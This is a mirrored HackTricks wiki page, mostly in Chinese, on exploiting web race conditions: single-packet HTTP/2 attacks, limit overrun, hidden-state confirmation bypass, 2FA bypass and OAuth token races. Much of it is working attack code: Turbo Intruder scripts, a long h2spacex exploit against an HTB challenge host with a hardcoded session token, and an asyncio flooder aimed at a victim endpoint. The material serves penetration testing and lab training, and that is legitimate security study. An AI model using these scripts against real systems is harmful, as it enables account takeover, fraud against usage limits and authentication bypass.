mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
385 lines
18 KiB
Markdown
385 lines
18 KiB
Markdown
# Race Condition
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
> [!WARNING]
|
||
> 要深入理解此技术,请查看原始报告 [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||
|
||
## Enhancing Race Condition Attacks
|
||
|
||
利用竞争条件的主要障碍是确保多个请求同时处理,**处理时间差异非常小——理想情况下,少于1毫秒**。
|
||
|
||
在这里可以找到一些同步请求的技术:
|
||
|
||
#### HTTP/2 单包攻击与 HTTP/1.1 最后字节同步
|
||
|
||
- **HTTP/2**:支持通过单个 TCP 连接发送两个请求,减少网络抖动的影响。然而,由于服务器端的变化,两个请求可能不足以实现一致的竞争条件利用。
|
||
- **HTTP/1.1 '最后字节同步'**:允许预发送 20-30 个请求的大部分内容,保留一个小片段,然后一起发送,实现同时到达服务器。
|
||
|
||
**最后字节同步的准备**包括:
|
||
|
||
1. 发送头部和主体数据,去掉最后一个字节而不结束流。
|
||
2. 在初始发送后暂停 100 毫秒。
|
||
3. 禁用 TCP_NODELAY,以利用 Nagle 算法批量处理最后的帧。
|
||
4. 进行 ping 操作以预热连接。
|
||
|
||
随后发送的保留帧应以单个数据包到达,可以通过 Wireshark 验证。此方法不适用于静态文件,这些文件通常不涉及 RC 攻击。
|
||
|
||
### Adapting to Server Architecture
|
||
|
||
了解目标的架构至关重要。前端服务器可能以不同方式路由请求,从而影响时序。通过无关请求进行预先的服务器端连接预热,可能会使请求时序正常化。
|
||
|
||
#### Handling Session-Based Locking
|
||
|
||
像 PHP 的会话处理程序这样的框架按会话序列化请求,可能会掩盖漏洞。为每个请求使用不同的会话令牌可以规避此问题。
|
||
|
||
#### Overcoming Rate or Resource Limits
|
||
|
||
如果连接预热无效,通过大量虚假请求故意触发 Web 服务器的速率或资源限制延迟,可能会通过引发服务器端延迟来促进单包攻击,从而有利于竞争条件。
|
||
|
||
## Attack Examples
|
||
|
||
- **Tubo Intruder - HTTP2 单包攻击 (1 个端点)**:您可以将请求发送到 **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`),您可以在请求中更改要暴力破解的值 **`%s`**,例如 `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`,然后从下拉菜单中选择 **`examples/race-single-packer-attack.py`**:
|
||
|
||
<figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
如果您要**发送不同的值**,可以使用这个从剪贴板中使用字典的代码进行修改:
|
||
```python
|
||
passwords = wordlists.clipboard
|
||
for password in passwords:
|
||
engine.queue(target.req, password, gate='race1')
|
||
```
|
||
> [!WARNING]
|
||
> 如果网站不支持 HTTP2(仅支持 HTTP1.1),请使用 `Engine.THREADED` 或 `Engine.BURP`,而不是 `Engine.BURP2`。
|
||
|
||
- **Tubo Intruder - HTTP2 单包攻击(多个端点)**:如果您需要向一个端点发送请求,然后向其他多个端点发送请求以触发 RCE,您可以将 `race-single-packet-attack.py` 脚本更改为如下内容:
|
||
```python
|
||
def queueRequests(target, wordlists):
|
||
engine = RequestEngine(endpoint=target.endpoint,
|
||
concurrentConnections=1,
|
||
engine=Engine.BURP2
|
||
)
|
||
|
||
# Hardcode the second request for the RC
|
||
confirmationReq = '''POST /confirm?token[]= HTTP/2
|
||
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
|
||
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
|
||
Content-Length: 0
|
||
|
||
'''
|
||
|
||
# For each attempt (20 in total) send 50 confirmation requests.
|
||
for attempt in range(20):
|
||
currentAttempt = str(attempt)
|
||
username = 'aUser' + currentAttempt
|
||
|
||
# queue a single registration request
|
||
engine.queue(target.req, username, gate=currentAttempt)
|
||
|
||
# queue 50 confirmation requests - note that this will probably sent in two separate packets
|
||
for i in range(50):
|
||
engine.queue(confirmationReq, gate=currentAttempt)
|
||
|
||
# send all the queued requests for this attempt
|
||
engine.openGate(currentAttempt)
|
||
```
|
||
- 它也可以通过 Burp Suite 中新的 '**并行发送组**' 选项在 **Repeater** 中使用。
|
||
- 对于 **limit-overrun**,您可以在组中 **添加相同的请求 50 次**。
|
||
- 对于 **connection warming**,您可以在 **组的开始** 添加一些请求到 web 服务器的某个非静态部分。
|
||
- 对于 **delaying** 处理 **一个请求和另一个请求之间** 的过程,您可以 **在两个请求之间添加额外的请求**。
|
||
- 对于 **multi-endpoint** RC,您可以开始发送 **请求**,该请求 **进入隐藏状态**,然后在其后 **发送 50 个请求**,这些请求 **利用隐藏状态**。
|
||
|
||
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
- **自动化 Python 脚本**:该脚本的目标是更改用户的电子邮件,同时不断验证,直到新电子邮件的验证令牌到达最后一个电子邮件(这是因为在代码中看到一个 RC,可以修改电子邮件,但验证发送到旧电子邮件,因为指示电子邮件的变量已经用第一个填充)。\
|
||
当在收到的电子邮件中找到“objetivo”这个词时,我们知道收到了更改电子邮件的验证令牌,并结束攻击。
|
||
```python
|
||
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
|
||
# Script from victor to solve a HTB challenge
|
||
from h2spacex import H2OnTlsConnection
|
||
from time import sleep
|
||
from h2spacex import h2_frames
|
||
import requests
|
||
|
||
cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"
|
||
|
||
# change these headers
|
||
|
||
headersObjetivo= """accept: */*
|
||
content-type: application/x-www-form-urlencoded
|
||
Cookie: """+cookie+"""
|
||
Content-Length: 112
|
||
"""
|
||
|
||
bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
|
||
|
||
headersVerification= """Content-Length: 1
|
||
Cookie: """+cookie+"""
|
||
"""
|
||
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"
|
||
|
||
host = "94.237.56.46"
|
||
puerto =39697
|
||
|
||
|
||
url = "https://"+host+":"+str(puerto)+"/email/"
|
||
|
||
response = requests.get(url, verify=False)
|
||
|
||
|
||
while "objetivo" not in response.text:
|
||
|
||
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
|
||
|
||
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
|
||
#print(response.text)
|
||
# change this host name to new generated one
|
||
|
||
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
|
||
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
|
||
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
|
||
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
|
||
|
||
print(responseReset.status_code)
|
||
|
||
h2_conn = H2OnTlsConnection(
|
||
hostname=host,
|
||
port_number=puerto
|
||
)
|
||
|
||
h2_conn.setup_connection()
|
||
|
||
try_num = 100
|
||
|
||
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
|
||
|
||
all_headers_frames = [] # all headers frame + data frames which have not the last byte
|
||
all_data_frames = [] # all data frames which contain the last byte
|
||
|
||
|
||
for i in range(0, try_num):
|
||
last_data_frame_with_last_byte=''
|
||
if i == try_num/2:
|
||
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
|
||
method='POST',
|
||
headers_string=headersObjetivo,
|
||
scheme='https',
|
||
stream_id=stream_ids_list[i],
|
||
authority=host,
|
||
body=bodyObjetivo,
|
||
path='/challenge/api/profile'
|
||
)
|
||
else:
|
||
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
|
||
method='GET',
|
||
headers_string=headersVerification,
|
||
scheme='https',
|
||
stream_id=stream_ids_list[i],
|
||
authority=host,
|
||
body=".",
|
||
path='/challenge/api/sendVerification'
|
||
)
|
||
|
||
all_headers_frames.append(header_frames_without_last_byte)
|
||
all_data_frames.append(last_data_frame_with_last_byte)
|
||
|
||
|
||
# concatenate all headers bytes
|
||
temp_headers_bytes = b''
|
||
for h in all_headers_frames:
|
||
temp_headers_bytes += bytes(h)
|
||
|
||
# concatenate all data frames which have last byte
|
||
temp_data_bytes = b''
|
||
for d in all_data_frames:
|
||
temp_data_bytes += bytes(d)
|
||
|
||
h2_conn.send_bytes(temp_headers_bytes)
|
||
|
||
# wait some time
|
||
sleep(0.1)
|
||
|
||
# send ping frame to warm up connection
|
||
h2_conn.send_ping_frame()
|
||
|
||
# send remaining data frames
|
||
h2_conn.send_bytes(temp_data_bytes)
|
||
|
||
resp = h2_conn.read_response_from_socket(_timeout=3)
|
||
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
|
||
frame_parser.add_frames(resp)
|
||
frame_parser.show_response_of_sent_requests()
|
||
|
||
print('---')
|
||
|
||
sleep(3)
|
||
h2_conn.close_connection()
|
||
|
||
response = requests.get(url, verify=False)
|
||
```
|
||
### 改进单包攻击
|
||
|
||
在原始研究中解释了该攻击的限制为1,500字节。然而,在[**这篇文章**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)中,解释了如何通过使用IP层分片(将单个数据包拆分为多个IP数据包)并以不同顺序发送它们,从而扩展单包攻击的1,500字节限制到**TCP的65,535 B窗口限制**,这使得在所有片段到达服务器之前,防止数据包重新组装。这项技术使研究人员能够在大约166毫秒内发送10,000个请求。
|
||
|
||
请注意,尽管这种改进使得在需要数百/数千个数据包同时到达的RC攻击中更可靠,但它也可能有一些软件限制。一些流行的HTTP服务器,如Apache、Nginx和Go,严格将`SETTINGS_MAX_CONCURRENT_STREAMS`设置为100、128和250。然而,其他如NodeJS和nghttp2则没有限制。\
|
||
这基本上意味着Apache将只考虑来自单个TCP连接的100个HTTP连接(限制了此RC攻击)。
|
||
|
||
您可以在仓库中找到使用此技术的一些示例[https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main)。
|
||
|
||
## 原始BF
|
||
|
||
在之前的研究之前,使用了一些有效载荷,这些有效载荷只是试图尽可能快地发送数据包以引发RC。
|
||
|
||
- **Repeater:** 查看上一节中的示例。
|
||
- **Intruder**: 将**请求**发送到**Intruder**,在**选项菜单**中将**线程数**设置为**30**,并选择有效载荷为**Null payloads**并生成**30**。
|
||
- **Turbo Intruder**
|
||
```python
|
||
def queueRequests(target, wordlists):
|
||
engine = RequestEngine(endpoint=target.endpoint,
|
||
concurrentConnections=5,
|
||
requestsPerConnection=1,
|
||
pipeline=False
|
||
)
|
||
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
|
||
for i in range(len(a)):
|
||
engine.queue(target.req,a[i], gate='race1')
|
||
# open TCP connections and send partial requests
|
||
engine.start(timeout=10)
|
||
engine.openGate('race1')
|
||
engine.complete(timeout=60)
|
||
|
||
def handleResponse(req, interesting):
|
||
table.add(req)
|
||
```
|
||
- **Python - asyncio**
|
||
```python
|
||
import asyncio
|
||
import httpx
|
||
|
||
async def use_code(client):
|
||
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
|
||
return resp.text
|
||
|
||
async def main():
|
||
async with httpx.AsyncClient() as client:
|
||
tasks = []
|
||
for _ in range(20): #20 times
|
||
tasks.append(asyncio.ensure_future(use_code(client)))
|
||
|
||
# Get responses
|
||
results = await asyncio.gather(*tasks, return_exceptions=True)
|
||
|
||
# Print results
|
||
for r in results:
|
||
print(r)
|
||
|
||
# Async2sync sleep
|
||
await asyncio.sleep(0.5)
|
||
print(results)
|
||
|
||
asyncio.run(main())
|
||
```
|
||
## **RC 方法论**
|
||
|
||
### 限制溢出 / TOCTOU
|
||
|
||
这是最基本的竞争条件类型,其中**漏洞**出现在**限制您执行操作次数**的地方。就像在网上商店中多次使用相同的折扣码。一个非常简单的例子可以在[**这份报告**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43)或[**这个漏洞**](https://hackerone.com/reports/759247)**中找到**。
|
||
|
||
这种攻击有许多变体,包括:
|
||
|
||
- 多次兑换礼品卡
|
||
- 多次评价产品
|
||
- 提取或转移超过账户余额的现金
|
||
- 重复使用单个 CAPTCHA 解
|
||
- 绕过反暴力破解速率限制
|
||
|
||
### **隐藏子状态**
|
||
|
||
利用复杂的竞争条件通常涉及利用与隐藏或**意外机器子状态**交互的短暂机会。以下是处理此问题的方法:
|
||
|
||
1. **识别潜在的隐藏子状态**
|
||
- 首先确定修改或与关键数据交互的端点,例如用户资料或密码重置过程。重点关注:
|
||
- **存储**:优先选择操作服务器端持久数据的端点,而不是处理客户端数据的端点。
|
||
- **操作**:寻找更改现有数据的操作,这些操作更可能创建可利用的条件,而不是添加新数据的操作。
|
||
- **键控**:成功的攻击通常涉及基于相同标识符的操作,例如用户名或重置令牌。
|
||
2. **进行初步探测**
|
||
- 使用竞争条件攻击测试识别的端点,观察是否有任何偏离预期结果的情况。意外的响应或应用程序行为的变化可能表明存在漏洞。
|
||
3. **证明漏洞**
|
||
- 将攻击缩小到利用漏洞所需的最少请求数量,通常仅为两个。由于涉及精确的时机,这一步可能需要多次尝试或自动化。
|
||
|
||
### 时间敏感攻击
|
||
|
||
请求的时机精确性可以揭示漏洞,特别是当使用可预测的方法(如时间戳)作为安全令牌时。例如,基于时间戳生成密码重置令牌可能允许同时请求相同的令牌。
|
||
|
||
**利用方法:**
|
||
|
||
- 使用精确的时机,例如单个数据包攻击,发起并发的密码重置请求。相同的令牌表明存在漏洞。
|
||
|
||
**示例:**
|
||
|
||
- 同时请求两个密码重置令牌并进行比较。匹配的令牌表明令牌生成存在缺陷。
|
||
|
||
**查看这个** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **进行尝试。**
|
||
|
||
## 隐藏子状态案例研究
|
||
|
||
### 支付并添加项目
|
||
|
||
查看这个 [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) 以了解如何在商店中**支付**并**添加一个额外**的项目而**无需支付**。
|
||
|
||
### 确认其他电子邮件
|
||
|
||
这个想法是**同时验证一个电子邮件地址并将其更改为另一个**,以找出平台是否验证新更改的电子邮件。
|
||
|
||
### 将电子邮件更改为两个基于 Cookie 的电子邮件地址
|
||
|
||
根据[**这项研究**](https://portswigger.net/research/smashing-the-state-machine),Gitlab 通过这种方式容易受到接管,因为它可能**将一个电子邮件的**电子邮件验证令牌**发送到另一个电子邮件**。
|
||
|
||
**查看这个** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **进行尝试。**
|
||
|
||
### 隐藏数据库状态 / 确认绕过
|
||
|
||
如果使用**两个不同的写入**来**添加**数据库中的**信息**,则在**仅写入第一条数据**的短时间内存在一个小的时间窗口。例如,在创建用户时,**用户名**和**密码**可能会被**写入**,然后**令牌**用于确认新创建的账户被写入。这意味着在短时间内,**确认账户的令牌为 null**。
|
||
|
||
因此,**注册一个账户并发送多个带有空令牌**(`token=`或`token[]=`或任何其他变体)以立即确认账户,可能允许您**确认一个您无法控制电子邮件的账户**。
|
||
|
||
**查看这个** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **进行尝试。**
|
||
|
||
### 绕过 2FA
|
||
|
||
以下伪代码容易受到竞争条件的影响,因为在创建会话的非常短的时间内,**2FA 并未强制执行**:
|
||
```python
|
||
session['userid'] = user.userid
|
||
if user.mfa_enabled:
|
||
session['enforce_mfa'] = True
|
||
# generate and send MFA code to user
|
||
# redirect browser to MFA code entry form
|
||
```
|
||
### OAuth2 永久持久性
|
||
|
||
有几个 [**OAUth 提供者**](https://en.wikipedia.org/wiki/List_of_OAuth_providers)。这些服务允许您创建一个应用程序并验证提供者注册的用户。为此,**客户端**需要**允许您的应用程序**访问其在**OAUth 提供者**中的某些数据。\
|
||
到此为止,只是一个常见的使用 google/linkedin/github 等的登录,您会看到一个页面提示:“_应用程序 \<InsertCoolName> 想要访问您的信息,您想允许吗?_”
|
||
|
||
#### `authorization_code` 中的竞争条件
|
||
|
||
**问题**出现在您**接受**它时,并自动将**`authorization_code`**发送到恶意应用程序。然后,这个**应用程序利用 OAUth 服务提供者中的竞争条件,从您的账户的**`authorization_code`**生成多个 AT/RT**(_身份验证令牌/刷新令牌_)。基本上,它将利用您已接受该应用程序访问您的数据的事实来**创建多个账户**。然后,如果您**停止允许该应用程序访问您的数据,一对 AT/RT 将被删除,但其他的仍然有效**。
|
||
|
||
#### `Refresh Token` 中的竞争条件
|
||
|
||
一旦您**获得有效的 RT**,您可以尝试**利用它生成多个 AT/RT**,即使用户取消了恶意应用程序访问其数据的权限,**多个 RT 仍然有效**。
|
||
|
||
## **WebSockets 中的 RC**
|
||
|
||
在 [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) 中,您可以找到一个 Java 的 PoC,用于并行发送 websocket 消息,以利用**Web Sockets 中的竞争条件**。
|
||
|
||
## 参考文献
|
||
|
||
- [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
|
||
- [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
|
||
- [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140)
|
||
- [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||
- [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
|
||
- [https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|